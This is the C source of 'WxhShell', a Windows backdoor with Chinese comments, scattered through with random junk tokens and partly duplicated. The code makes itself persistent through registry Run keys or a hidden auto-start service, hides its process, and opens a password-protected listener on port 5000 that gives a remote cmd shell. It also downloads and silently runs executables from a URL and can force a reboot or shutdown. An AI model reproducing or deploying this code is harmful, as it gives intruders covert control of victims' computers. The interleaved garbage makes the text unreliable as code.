!S%2 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #s"851e q|5Q?t:,r HANDLE hProcess; 5|ic3 PROCESS_BASIC_INFORMATION pbi; 8-7dokg> zv //K_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qM%O if(NULL == hInst ) return 0; F4Zn5&.) i+f7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UVB/vqGg g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2-++i:, g NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t|}O.u-&;~ aG%kmS&fv if (!NtQueryInformationProcess) return 0; R A:jzht ![ZmV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 57~Uqt if(!hProcess) return 0; nV}8M
(}Sr08m if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >$\Bu]{1 u~W{RHClW CloseHandle(hProcess); OifvUTl9b C.~j'5N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $>*Yhz ` if(hProcess==NULL) return 0; rH&G<o&, aD9rp
V HMODULE hMod; 79ckLd9 char procName[255]; Sk:2+inU unsigned long cbNeeded; AoYaVlKG8 IdPn%)>6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bd!U)b(}OV YNSyi@ CloseHandle(hProcess);
mOP4z' kbxg_UI; if(strstr(procName,"services")) return 1; // 以服务启动 lWWP03er! V8hO8 return 0; // 注册表启动 >3 l=*|9 } %aU4,j^],o xjo;kx\y^ // 主模块 -gS"pE^1 int StartWxhshell(LPSTR lpCmdLine) =m7H)z)i*J { _%y4q%# SOCKET wsl; k[\a)WcY8 BOOL val=TRUE; o#>a 5 int port=0; B**Nn!}0 struct sockaddr_in door; 5 L/x-i $5AC1g' if(wscfg.ws_autoins) Install(); c%z'xM 8d!GZgC8R port=atoi(lpCmdLine); Qzqc .T a+`D'?z if(port<=0) port=wscfg.ws_port; PWH^=K =E(#YCx WSADATA data; Z) Wnow if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
`0bP0^w mN*?%t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; prtK:eGe2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 03=5Nof1 door.sin_family = AF_INET; ?]#OM_,8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); A`[@8 door.sin_port = htons(port); 7(bQ}mHl\ K R, z^9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O0T/#<Cn! closesocket(wsl); {tw+#}T a return 1; \'Ssn(s } wN97_Y=`n %{!R
l@ if(listen(wsl,2) == INVALID_SOCKET) { C&+6>L@ closesocket(wsl); rh!;|xB|+ return 1; 7"4z+w } -)v@jlg02 Wxhshell(wsl); d(-EcY>? WSACleanup(); \OQkZ.cU; Apj; return 0; H4:&%"j7 s$w;q\1z } LlHa5]E@6 edipA
P~! // 以NT服务方式启动 kJ{+M] pW VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %Jp|z? [/ { vDFGd-S DWORD status = 0; ;f1qLI DWORD specificError = 0xfffffff; xb:&(6\F }^xE|~p serviceStatus.dwServiceType = SERVICE_WIN32; X(@uw X$m serviceStatus.dwCurrentState = SERVICE_START_PENDING; -MBV$:_R serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D`[Khs f serviceStatus.dwWin32ExitCode = 0; d$t40+v serviceStatus.dwServiceSpecificExitCode = 0; DY\J[l<< serviceStatus.dwCheckPoint = 0; -TO\'^][X serviceStatus.dwWaitHint = 0; w_hHfZ9E ALc`t(..}A hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a0=WfeT if (hServiceStatusHandle==0) return; T 2F6)e
=-"c*^$] status = GetLastError(); NX[4PKJ0C if (status!=NO_ERROR) /Fgw$
^H { dOFD5}_ serviceStatus.dwCurrentState = SERVICE_STOPPED; .ubE2X[ ][ serviceStatus.dwCheckPoint = 0; kLj$@E`4 serviceStatus.dwWaitHint = 0; %<0eA`F4 serviceStatus.dwWin32ExitCode = status; z//VlB serviceStatus.dwServiceSpecificExitCode = specificError; ?'s6Xmd SetServiceStatus(hServiceStatusHandle, &serviceStatus); c!#:E` return; 5T@aCC@$h } ?QZ"JX]) E&`Nh5 JfC serviceStatus.dwCurrentState = SERVICE_RUNNING; 1oiRW Re serviceStatus.dwCheckPoint = 0; aNxAZMg serviceStatus.dwWaitHint = 0; |'d>JT: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I_1e?\ } I%j_"r9-I PPkx4S_> // 处理NT服务事件,比如:启动、停止 b2,!g }I VOID WINAPI NTServiceHandler(DWORD fdwControl) g[H',)A) { nKoiG*PI switch(fdwControl) |~!U4D\ { t] aea*B case SERVICE_CONTROL_STOP: qIIJ4n serviceStatus.dwWin32ExitCode = 0; Q GZyL)Q serviceStatus.dwCurrentState = SERVICE_STOPPED; X5LBEOG serviceStatus.dwCheckPoint = 0; n_?tN\M serviceStatus.dwWaitHint = 0; 3"N)xO- { \xv;sl$f SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fqy\CMC } t.p~\6Yi return; 5Xn.CBd] case SERVICE_CONTROL_PAUSE: iOAbaPN serviceStatus.dwCurrentState = SERVICE_PAUSED; sEMQ break; p]T<HGJ P case SERVICE_CONTROL_CONTINUE: +N`ua serviceStatus.dwCurrentState = SERVICE_RUNNING; 9h&R]yz; break; aJ Z"D8C case SERVICE_CONTROL_INTERROGATE: Gg Jf7ie4 break; bKg8rK u }; 2i;7{7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); :cB=SYcC% } oVFnlA ;oZ)Wt // 标准应用程序主函数 R;,g1m|] int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >/[GTqi { ApBWuXp|u F8-?dp f' // 获取操作系统版本 -Eu6U`"( OsIsNt=GetOsVer(); ~5FW[_ GetModuleFileName(NULL,ExeFile,MAX_PATH); 4}+/F}TbJ5 Od f[* // 从命令行安装 7xRl9 if(strpbrk(lpCmdLine,"iI")) Install(); 7frTTSZ %\]*OZ7 // 下载执行文件 )e5 @ if(wscfg.ws_downexe) { *na?n2Yzt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {9UEq0 WinExec(wscfg.ws_filenam,SW_HIDE); O nQdq^UB } .7K7h^*F `]Q:-h if(!OsIsNt) { V"c
6Kdtd // 如果时win9x,隐藏进程并且设置为注册表启动 Z}$TKO*u HideProc(); )W/;=K StartWxhshell(lpCmdLine); cufH?Xg< } UMAgA!s else Zm6{n' if(StartFromService()) zR2B-
&]H // 以服务方式启动 Tg!m`9s+ StartServiceCtrlDispatcher(DispatchTable); ~e6Brq else ;)N>t\v // 普通方式启动 wF(( StartWxhshell(lpCmdLine); jv&*uYm lOtDqb& return 0; 0lhVqy}:}o } R(q~ -3~ &=VDASEu ^R:cd8+?% "[y-+)WTG =========================================== g+J-Zg6 0u\GO; y;s`P. ~\ J}Kqg tH-C8Qxy ,^uEYT}j " RzWXKBI\E] 0#nPbe,Lj #include <stdio.h> YW7b)uYf #include <string.h> >0"+4<72 #include <windows.h> ^]TVo\,N #include <winsock2.h> c%MW\qx #include <winsvc.h> l1f\=G?tmU #include <urlmon.h> V4_=<W P9T}S #pragma comment (lib, "Ws2_32.lib") 17`1SGZ #pragma comment (lib, "urlmon.lib") ~]QHk?[wc /5u<78GW1 #define MAX_USER 100 // 最大客户端连接数 4O35"1 #define BUF_SOCK 200 // sock buffer !QvZ<5( #define KEY_BUFF 255 // 输入 buffer ax (c# V#iPj'*
#define REBOOT 0 // 重启 *s:(jDlv #define SHUTDOWN 1 // 关机 "1%5, EM[WK+9>I{ #define DEF_PORT 5000 // 监听端口 DQr Y*nH g*_cPU0~m #define REG_LEN 16 // 注册表键长度 VIv&ofyAR #define SVC_LEN 80 // NT服务名长度 <ZNzVnVA 9Gnc9_]I;W // 从dll定义API #`)(e JF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >Wv;R2| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A<??T[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~^1 {B\I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CLUW!F 2.l:O2< // wxhshell配置信息 tNbN7yI struct WSCFG { !6*"( int ws_port; // 监听端口 R^Y
<RI char ws_passstr[REG_LEN]; // 口令 _no*k?o* int ws_autoins; // 安装标记, 1=yes 0=no ?vbvBu{a char ws_regname[REG_LEN]; // 注册表键名 Z'.AA OG char ws_svcname[REG_LEN]; // 服务名 ;IZwTXu !S char ws_svcdisp[SVC_LEN]; // 服务显示名 c}2jmwq
char ws_svcdesc[SVC_LEN]; // 服务描述信息 eQ]~dA8> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0eDHu int ws_downexe; // 下载执行标记, 1=yes 0=no lE4HM$p
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _sTROd)Vh char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )8$=C#qC[ ^G}47( }; rR(X9i % ~H=sjg // default Wxhshell configuration u)+8S/ ) struct WSCFG wscfg={DEF_PORT, E?
;0)'h "xuhuanlingzhe", \RC'XKQ*n 1, 5Ou`z5S\k "Wxhshell", woK&q 7Vn "Wxhshell", RO'7\xvn "WxhShell Service", }E50>g "Wrsky Windows CmdShell Service", h eV=)8 "Please Input Your Password: ", ^LoUi1j 1, 6\q]rfQ "http://www.wrsky.com/wxhshell.exe", @emK1iwm "Wxhshell.exe" Ezd_`_@R }; J;8IY= ,)Znb= // 消息定义模块 4\8+9b\9" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1cpiHZa char *msg_ws_prompt="\n\r? for help\n\r#>"; !ug8SAOaz/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T?ZRiR)@ char *msg_ws_ext="\n\rExit."; n'E(y)9| char *msg_ws_end="\n\rQuit."; pL/DZ|S3 char *msg_ws_boot="\n\rReboot..."; *V8<:OG|e char *msg_ws_poff="\n\rShutdown..."; >I-RGW'A char *msg_ws_down="\n\rSave to "; 0dE@c./R i YUtC.TR1 char *msg_ws_err="\n\rErr!"; RC7]'4o char *msg_ws_ok="\n\rOK!"; 4NheWM6 UCB/=k^m char ExeFile[MAX_PATH]; Qp_isU int nUser = 0; Bg x'9p/ HANDLE handles[MAX_USER]; \Je0CD=e` int OsIsNt; 3q\,$*D. KBx6NU?;PO SERVICE_STATUS serviceStatus; ^:^9l1] SERVICE_STATUS_HANDLE hServiceStatusHandle; eg;~zv Z`ID+ // 函数声明 5B3G
@KR int Install(void); JfLqtXF[&" int Uninstall(void); l5!|I:/*; int DownloadFile(char *sURL, SOCKET wsh); eD?tLj int Boot(int flag); k@ RDvn void HideProc(void); 8]/bK5` int GetOsVer(void); _E@2ZnD2 int Wxhshell(SOCKET wsl); hK L4cpK4 void TalkWithClient(void *cs); f!Y?S int CmdShell(SOCKET sock); 5YE'L. int StartFromService(void); DgId_\Ze int StartWxhshell(LPSTR lpCmdLine); sBvzAVBL ;-~B)M_S` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tE<H|_{L VOID WINAPI NTServiceHandler( DWORD fdwControl ); K*K,}W&} D#cyOrzy // 数据结构和表定义 RzE_K'M SERVICE_TABLE_ENTRY DispatchTable[] = saBVgSd { ]%@M>?Ywc {wscfg.ws_svcname, NTServiceMain}, 4i)1'{e {NULL, NULL} %[Wh [zZy }; \XCe22x] J\twZ>w~0 // 自我安装 riY~%9iV' int Install(void) bzBEX mC { y\4L{GlBM char svExeFile[MAX_PATH]; )~)J?l3{ HKEY key; *2pt%eav strcpy(svExeFile,ExeFile); Gp?a(-K5 [B\h$IcRv // 如果是win9x系统,修改注册表设为自启动 B+P(M!m3 if(!OsIsNt) { 4gI/!,J(b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4;e5H_}Oo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p& y<I6a, RegCloseKey(key); AYqX| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ey7 f9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +h|`/ &, RegCloseKey(key); %(3|R@G. return 0; +"\sc;6m. } P+@/O } t<.)Z-Ii } n{n52][J] else { dk[!V1x4\ o4G ?nvK- // 如果是NT以上系统,安装为系统服务 CGW.I$u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T*Y~\~Jhu if (schSCManager!=0) [kVS
O { a!6{:8Zi0 SC_HANDLE schService = CreateService >)fi^ ( q/4J.jL schSCManager, 9UdM`v)( wscfg.ws_svcname, rK' L6o wscfg.ws_svcdisp, =upeRY@u5 SERVICE_ALL_ACCESS, u^@f&BIG]: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }eCw6 SERVICE_AUTO_START, H%qsjB^ SERVICE_ERROR_NORMAL, '\l" svExeFile, "jeb%k NULL, j/323Za+ NULL, `uv2H$ NULL, ?8npG]L) NULL, tU }h~&M NULL @K &GJ ); B3pCy~*5 if (schService!=0) o |{5M|nD { @>r._~ CloseServiceHandle(schService); >c1qpk/ CloseServiceHandle(schSCManager); `x+ B+)0X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *'Sd/%8{ strcat(svExeFile,wscfg.ws_svcname); n`? py if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n,vct<&z@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xK *b1CB RegCloseKey(key); Qf~vZtJ+J return 0; ~Z\8UsVN } c,np2myd }
sJB;3"~ CloseServiceHandle(schSCManager); :KQ~Cb } I:R[;TB?y } ?ZV/U!y 6KXtcXQ return 1; Ec!"O3%!M^ } 8bTn^!1 RuLi,'u // 自我卸载 ity & v9 int Uninstall(void) <T` 7%$/E { C)um9} HKEY key; faEt6 Go5J%&E9 if(!OsIsNt) { {%rA1g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0IsPIi"7 RegDeleteValue(key,wscfg.ws_regname); .?8;q A RegCloseKey(key); wcrCEX=I>{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -o^7r@6 RegDeleteValue(key,wscfg.ws_regname); U$O\f18 RegCloseKey(key); m ifxiV return 0; wT6"U$cV } pj\u9
L_ } du<tGsy } [g7L&`f9 else { g;H=6JeG/ ^h(ew1: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t|w_i-&b, if (schSCManager!=0) Km qMFB62 { hE-h`'ha` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @x*c1%wg if (schService!=0) L7n D| { KoOz#,() if(DeleteService(schService)!=0) { rMdt:` CloseServiceHandle(schService); ?h$NAL? CloseServiceHandle(schSCManager); ef8s<5"4 return 0; AHD=<7Rs } ]0Y4U7W CloseServiceHandle(schService); -R|,9o^ } ;"a=gr CloseServiceHandle(schSCManager); AFq~QXmr) } M1k{t%M+S } Kr?TxhUHd 5#HW2"7 return 1; F6|TP.VY_. } 4GkWRu1 C'>|J9~Gz // 从指定url下载文件 !S$:*5=& int DownloadFile(char *sURL, SOCKET wsh) 8v:T.o;< { %"q9:{m HRESULT hr; e),q0%5 char seps[]= "/"; ahJ`T*)HY char *token; J9\Cm!H char *file; 2]z8:a char myURL[MAX_PATH]; prWk2_D;* char myFILE[MAX_PATH]; K?6jXJseb eQ$Y0qH1E strcpy(myURL,sURL); !]"@kl% token=strtok(myURL,seps); sfpZc7 while(token!=NULL) Q)~aiI0 { b:U$x20n$ file=token; .iYJr;9`d token=strtok(NULL,seps); @KXV%a' } :N:yLd} & KN^=i5K+Y GetCurrentDirectory(MAX_PATH,myFILE); qEyyT[: strcat(myFILE, "\\"); %vn|k[nD strcat(myFILE, file); 'f#{{KA send(wsh,myFILE,strlen(myFILE),0); PIJr{6B/PA send(wsh,"...",3,0); K%,2=. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4.k0< if(hr==S_OK) 4)S,3G return 0; .UQzPnK else ;0Q4<F return 1; DHyq^pJ
qSM|hHDo) } S.mG?zbw {AhthR%(1 // 系统电源模块 U'k*_g int Boot(int flag) 6]&OrS[ { TEP,Dq HANDLE hToken; TtJH7 TOKEN_PRIVILEGES tkp; f&=AA@jLv XPavReGf if(OsIsNt) { h&M{]E9= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h}>"j%I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z&G+bdA>, tkp.PrivilegeCount = 1; |h KDvH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7!$Q;A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |T<_ 5Ik if(flag==REBOOT) { c/:b.>W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Zun&b)S return 0; 5-FQMXgThc } 2Sle#nw3 else { F3y9@dA] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S50k>_a; return 0; s,"]aew } EB0TTJR?# } ]RZ|u*l=x else { &9.C l;I if(flag==REBOOT) { WEw6He; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vt/x
,Y return 0; cb@?}(aFl } C1V|0hu else { %@<8<6&q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fnpYT:%fG
return 0; Y@NNrGDkT* } \e:7)R2<!x } wVvF^VHV^ 9)D6Nm return 1; ]RwpX ^ 1 } ,bZL C N,<uf@LQ // win9x进程隐藏模块 -{KQr1{5UM void HideProc(void) CLxynZ\ ; { Bm:98? [ 1m'k|Ka HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,[N%Q# if ( hKernel != NULL ) kC:uG0sW { nB_?ckj, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C>]0YO
k2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); raW>xOivR FreeLibrary(hKernel); UZWioxsKr+ } $6#CqWhI L,HhbTRca return; `A,-@`p } #{6{TFx\ l?\jB\, // 获取操作系统版本 }V'}E\\ int GetOsVer(void) zZ:>do\2 { |sa]F5 OSVERSIONINFO winfo; n#cC+>*>+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %7QV&[4! GetVersionEx(&winfo); }cM}Oavh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2ElJbN# return 1; ;RH;OE,A else 2my_ ;!6T[ return 0; 8mCxn@yV } EHSlK5bD, OP;v bZ // 客户端句柄模块 9,c(ysv" int Wxhshell(SOCKET wsl) I^* Nqqq { 0!D4pvlt SOCKET wsh; u6J8"<
-W struct sockaddr_in client; ]q\b,)4
e DWORD myID; <c*FCblv 4aug{}h(" while(nUser<MAX_USER) [Hx0`Nc K { t Cw<Ip int nSize=sizeof(client); 3t.l5m
Rg5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z3%}ajPu[ if(wsh==INVALID_SOCKET) return 1; #^#PPO [m->5H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SDL7<ZaE if(handles[nUser]==0) Eu0akqZ closesocket(wsh); We)xB else oph}5Krd) nUser++; PG2: ~$L0 } (|F*vP' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '"`IC\N^ R1PkTZP& return 0; )tG\vk=@ } NxfOF O],T,Z?z // 关闭 socket LhN|1f:9: void CloseIt(SOCKET wsh) bUs0 M0y { UJ%R
closesocket(wsh); G3C~x.(f nUser--; "RedK '7g ExitThread(0);
3Nl <p"= } p$O.>
[ 3N8t`N // 客户端请求句柄 zh%#Y_[R void TalkWithClient(void *cs) PoNi"Pv { <<UB ^v m 6o^,@~:R SOCKET wsh=(SOCKET)cs; `34zkPB?? char pwd[SVC_LEN]; "<6G6?sz char cmd[KEY_BUFF]; W,D4.w$@' char chr[1]; Ig$(3p
int i,j; =NpYFKmMhV FW.7'7G@n while (nUser < MAX_USER) { z Eq GD2" 57aXQ8u{ if(wscfg.ws_passstr) { XFg9P}" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m)8BgCy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v0ujdp,B //ZeroMemory(pwd,KEY_BUFF); vx\r!] i=0; ih)zG while(i<SVC_LEN) { $Y;U[_l# Gw=B:kGk // 设置超时 ?yZ+D z\ fd_set FdRead; j 7fL7:,T struct timeval TimeOut; $yN{-T" FD_ZERO(&FdRead); K'55O&2 FD_SET(wsh,&FdRead); #||}R[~P" TimeOut.tv_sec=8; :1 ^LsLr5 TimeOut.tv_usec=0; ><RpEnWZ< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G, 44va if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p5Z"|\ ~3^
8>d/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YD<:,|H pwd=chr[0]; Moy <@+ if(chr[0]==0xd || chr[0]==0xa) { svsq g{9z pwd=0; -#7'r<I9@ break; ,NOsFO-`< } ~Io7] i++; j_/>A=OD } *lYVY)L -^K"ZP1 // 如果是非法用户,关闭 socket Amp#GR1CA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~Uu4= } ~Uj=^leYO yZ
@"\Z! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ut*`:]la send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u$h
4lIl QaS1Dh while(1) { x%s-+& F7
5#* ZeroMemory(cmd,KEY_BUFF); ?e`^P rT M}})81 // 自动支持客户端 telnet标准 h mvfw:Nq4 j=0; Nc1"g1JR while(j<KEY_BUFF) { &@G:G( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PZ2;v< cmd[j]=chr[0]; :C7_Jp*Qv if(chr[0]==0xa || chr[0]==0xd) { LVX[uWEM cmd[j]=0; [\'%?BH(^ break; t;\kR4P } 81](T< j++; f}aL-N~ } ]-PH^H {^
qcx 8 // 下载文件 .O74V~T if(strstr(cmd,"http://")) { pqk?|BvpK_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); H0:E(}@ if(DownloadFile(cmd,wsh)) gGvz(R:y send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*(bO3 b else |^0XYBxQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]P.
x!I } ht7l- AK else { 4Z1ST; vY4\59]P switch(cmd[0]) { R_(tjkT hwu]Er.gn // 帮助 mi
ik%7>W case '?': { B,<da1(a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %9w::hav break; C^3 <={ } uvMy^_}L // 安装 0QFS case 'i': { zxMXXm; if(Install()) 'GB.UKlR send(wsh,msg_ws_err,strlen(msg_ws_err),0); YbR!+ 0\g else +lm{Olm'^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4F)-"ck break; .)RzT9sg } Mc=$/ o // 卸载 OJ,` case 'r': { uPhK3nCGo if(Uninstall()) t,,k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); io _1Y]N else K:!"+q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V\{clJ\U break; ~s%
Md } ,X#2\r<| // 显示 wxhshell 所在路径 V}bjK8$$ case 'p': { K$>%e36Cc char svExeFile[MAX_PATH]; A$<.a'&T! strcpy(svExeFile,"\n\r"); y6LWx: strcat(svExeFile,ExeFile); !HrKXy0{ send(wsh,svExeFile,strlen(svExeFile),0); YX=a#%vrl break; u&`XB|~ } V`X2>-Ex // 重启 RLw;(*(g case 'b': { ^.KwcXr send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yGWxpzmRS if(Boot(REBOOT)) IHe/xQ@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,,d>e else { DAS/43\ closesocket(wsh); O]lSWEe ExitThread(0); u6T+Cg } j:5=s%S break; ^c<ucv6. } 8JM&(Q%# // 关机 qm./|#m> case 'd': { E^QlJ8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t?q@H8 if(Boot(SHUTDOWN)) !+1<E*NQ S send(wsh,msg_ws_err,strlen(msg_ws_err),0); Du`JaJI else { f%Ns[S~ r closesocket(wsh); Ey_" ~OB ExitThread(0); *FC=X) _&W } 9S-Z&2L break; PUF/#ck } |o{:ZmzM // 获取shell /`f^Y>4gD case 's': { B-.gI4xa CmdShell(wsh); AmaT0tzJC closesocket(wsh); ]e^c=O`$ ExitThread(0); }R1<
0~g break; s>0't } T,]7ICF# // 退出 "B= case 'x': { :A1{ d?B send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qy.w=80kf CloseIt(wsh); "5-^l.CKH break; V^JV4 `o } N
F2/B#q // 离开 S'A>2> case 'q': { (5R?#vj send(wsh,msg_ws_end,strlen(msg_ws_end),0); +s,Qmmb7) closesocket(wsh); g6Q !8 WSACleanup(); 7N-w eX exit(1); :,Pn3xl break; y=`2\L" O } My<snmr2d } yHs-h
} dQ_!)f&w1 ~V&aUDO>/ // 提示信息 h(M#f7'~& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cc#gEm)3C } .#1~Rz1r } 9A}# 6 ?**+e%$$ return; ? i( % } IqC]! H0 29!q!g | // shell模块句柄 5!l0zLQPo int CmdShell(SOCKET sock) _{r=.W+w { @c<3b2 STARTUPINFO si; LUuZ9$t0J" ZeroMemory(&si,sizeof(si)); \<y`!"c
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fe]B&n si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q0$
!y!~ PROCESS_INFORMATION ProcessInfo; (>VX-Y/ char cmdline[]="cmd"; u#Z#)3P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Uz\H0T1 return 0; UG2nX3? } p /#$io Rniq(FAx // 自身启动模式 NbC@z9Q int StartFromService(void) #Yr9AVr}K { c:-!'l$ ! typedef struct Z2TL #@ { kB'Fkqwm DWORD ExitStatus; Eve.QAl| DWORD PebBaseAddress; mMb'@ DWORD AffinityMask; :@ %4 DWORD BasePriority; y>72{ ULONG UniqueProcessId; DTaN"{ ULONG InheritedFromUniqueProcessId; 89\n;5'f4 } PROCESS_BASIC_INFORMATION; Ytz)d/3T bty/ PROCNTQSIP NtQueryInformationProcess; #bl6sa{E 5Cq{XcXV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ix(=3/Dgz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HuwU0:* F{eU";D HANDLE hProcess; I9:Cb)hbU] PROCESS_BASIC_INFORMATION pbi; ^j".
/o[?D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4W3\P9p= if(NULL == hInst ) return 0; .a._NW ~v]!+`_J g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cfcim.jB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _Y8hb!#( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6ek;8dL
